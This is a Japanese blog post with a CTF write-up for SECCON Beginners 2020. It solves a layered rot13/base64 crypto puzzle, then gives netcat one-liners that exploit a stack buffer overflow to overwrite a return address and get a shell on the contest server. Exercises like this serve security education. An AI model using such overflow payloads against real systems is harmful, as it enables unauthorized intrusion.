camera510PC7の栞

情報系学生のTips、ポエム、活動記録

SECCON Beginners CTF 2020 WriteUp

概要

SECCON Beginners CTF 2020のWriteUpです。

解けた問題

【Crypto】R&B

添付ファイルであるr_and_b.zipを展開するとencoded_flagとproblem.pyが手に入る。

encoded_flag

BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

problem.py

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

problem.pyを見ると、どうやらFORMATから1文字取り出して「R」なら先頭にRをつけ足してそのあとにフラグをrot13でエンコードしたものを付加し、「B」なら先頭にBをつけ足してそのあとにフラグをbase64エンコードしたものを付加している。

よって、solverはこのプログラムの逆(flagの先頭を見て「R」なら以下をrot13でデコード、「B」なら以下をbase64でデコードするをctf4b・・・が出るまで繰り返す)を書けばいい。
ということで以下solver。
solver.py

import base64
import codecs

flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

while True:
    if flag[:1] == b"B":
        flag = base64.b64decode(flag[1:])
    elif flag[:1] == b"R":
        flag = codecs.encode(flag[1:].decode(),'rot13').encode()
    elif flag[:1] == b"c":
        break
print(flag.decode())

flag

ctf4b{rot_base_rot_base_rot_base_base}

解けなくてあきらめた問題

【Pwn】Beginner's Stack

サーバへの接続情報
nc bs.quals.beginners.seccon.jp 9001

添付ファイルを展開すると、challという名前の実行ファイルが手に入る。

上記のサーバに接続すると以下の画像のようになる。

f:id:camera510PC7:20200527093825p:plain

ここでInputに適当な文字を入力すると以下のようになる。

f:id:camera510PC7:20200527095113p:plain

どうやらスタックの中身を任意のものに変えられるようだ。
これを利用すればバッファオーバーフローでリターンアドレスが書き換えられそうだ。
アクセスしたときに表示される内容からリターンアドレスをwin関数( 0x400861)に書き換えれば良さそうだとわかる。
シェルから以下の入力を試してみる。

$  echo -e '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x61\x08\x40\x00\x00\x00\x00\x00' | nc bs.quals.beginners.seccon.jp 9001

すると以下のようなレスポンスが来る。 f:id:camera510PC7:20200527102531p:plain

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

どうやらRSPの位置が違うらしく、うまく動かない。

自分はこれ以上わからなかった。


以下、終了後writeupを見たり、チームメイトと模索して出した回答である。

シェルから以下のような入力をする。

$ (echo -e '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x62\x08\x40\x00\x00\x00\x00\x00';cat) | nc bs.quals.beginners.seccon.jp 9001

ポイントとしてはechoを丸かっこでくくり、echoの最後に「;cat」をつける(シェルを剥奪するため)、またリターンアドレスを 0x400862にすること(RSPのエラー防ぐため)である。

そうすると以下のようになる。
f:id:camera510PC7:20200527125633p:plain

この状態ですでにシェルが剥奪できているのでlsをしてみる。 f:id:camera510PC7:20200527130354p:plain

このディレクトリの中にflag.txtがあるのでcatで表示してみる。
f:id:camera510PC7:20200527130858p:plain

flag

ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

参考

qiita.com

感想

一言で言えば「最近全然CTFをやってなかった初心者がいきなり参加して撃沈した」という感じです。
これを機に常設のCTFや他のいろんなCTFにもっと参加しようと思いました。
あと、ほかの人のWriteUp等を見ると自分は思いつかなかった着眼点から問題を解いていたので良い勉強になりました(まさか処理に掛かる時間が答えに直結するとは思わなかったし(【Web】Spy)、まさかCyberChefだけで解ける問題があったとは...(【Recon】emoemoencode))。

参考 szarny.hatenablog.com qiita.com

f:id:camera510PC7:20200529235815p:plain

ちなみに自分が所属していたチームは418位でした。まぁ半分以上チームメートのとった点数ですが(今回はほとんどチームに貢献できなかった...)